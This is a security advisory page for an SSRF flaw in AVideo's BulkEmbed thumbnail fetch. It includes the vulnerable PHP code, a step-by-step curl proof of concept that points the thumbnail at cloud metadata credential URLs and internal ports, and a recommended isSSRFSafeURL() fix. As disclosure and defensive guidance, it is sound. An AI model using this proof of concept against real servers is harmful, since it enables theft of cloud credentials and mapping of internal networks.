GHSA-66cw-h2mj-j39p is a medium-severity (CVSS 5) Server-Side Request Forgery (SSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-66cw-h2mj-j39p.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-66cw-h2mj-j39p plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.
Details
When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:
plugin/BulkEmbed/save.json.php:68-105
foreach ($_POST['itemsToSave'] as $value) {
foreach ($value as $key => $value2) {
$value[$key] = xss_esc($value2); // HTML entity encoding — irrelevant for SSRF
}
// ...
$poster = Video::getPathToFile("{$paths['filename']}.jpg");
$thumbs = $value['thumbs']; // ← attacker-controlled URL
if (!empty($thumbs)) {
$contentThumbs = url_get_contents($thumbs); // ← fetched without SSRF check
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs); // ← response saved to disk
}
}
// ...
$videos->setStatus('a'); // ← video set to active, thumbnail publicly accessible
The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.
All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:
plugin/Scheduler/Scheduler.phpplugin/LiveLinks/proxy.php(two call sites)plugin/AI/receiveAsync.json.phpobjects/aVideoEncoder.json.phpobjects/aVideoEncoderReceiveImage.json.php
BulkEmbed is the only URL-fetching endpoint that was not hardened.
This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.
PoC
Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.
Step 1: Authenticate and obtain session cookie
COOKIE=$(curl -s -c - "http://avideo.local/user" \
-d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')
Step 2: Send BulkEmbed save request with internal URL as thumbnail
curl -s -b "PHPSESSID=$COOKIE" \
"http://avideo.local/plugin/BulkEmbed/save.json.php" \
-d "itemsToSave[0][title]=SSRF+Test" \
-d "itemsToSave[0][description]=test" \
-d "itemsToSave[0][duration]=PT1M" \
-d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "itemsToSave[0][date]="
Expected response:
{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}
Step 3: Retrieve the SSRF response from the saved thumbnail
# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"
The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.
Cloud metadata example targets:
http://169.254.169.254/latest/meta-data/iam/security-credentials/— AWS IAM role nameshttp://169.254.169.254/latest/meta-data/iam/security-credentials/{role}— temporary AWS credentialshttp://metadata.google.internal/computeMetadata/v1/— GCP metadata (requires header, may not work)http://169.254.169.254/metadata/instance?api-version=2021-02-01— Azure instance metadata
Internal network scanning:
http://10.0.0.1:8080/— probe internal serviceshttp://localhost:3306/— probe local database ports
Impact
- Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
- Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
- Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
- Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.
Recommended Fix
Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:
$thumbs = $value['thumbs'];
if (!empty($thumbs)) {
if (!isSSRFSafeURL($thumbs)) {
_error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
continue;
}
$contentThumbs = url_get_contents($thumbs);
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs);
_error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
} else {
_error_log("ERROR thumbs={$thumbs} poster=$poster");
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-66cw-h2mj-j39p yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-66cw-h2mj-j39p can be triaged on real exposure rather than presence alone.
Tailored to GHSA-66cw-h2mj-j39p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-66cw-h2mj-j39p in your dependencies?
O3 Security finds GHSA-66cw-h2mj-j39p across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.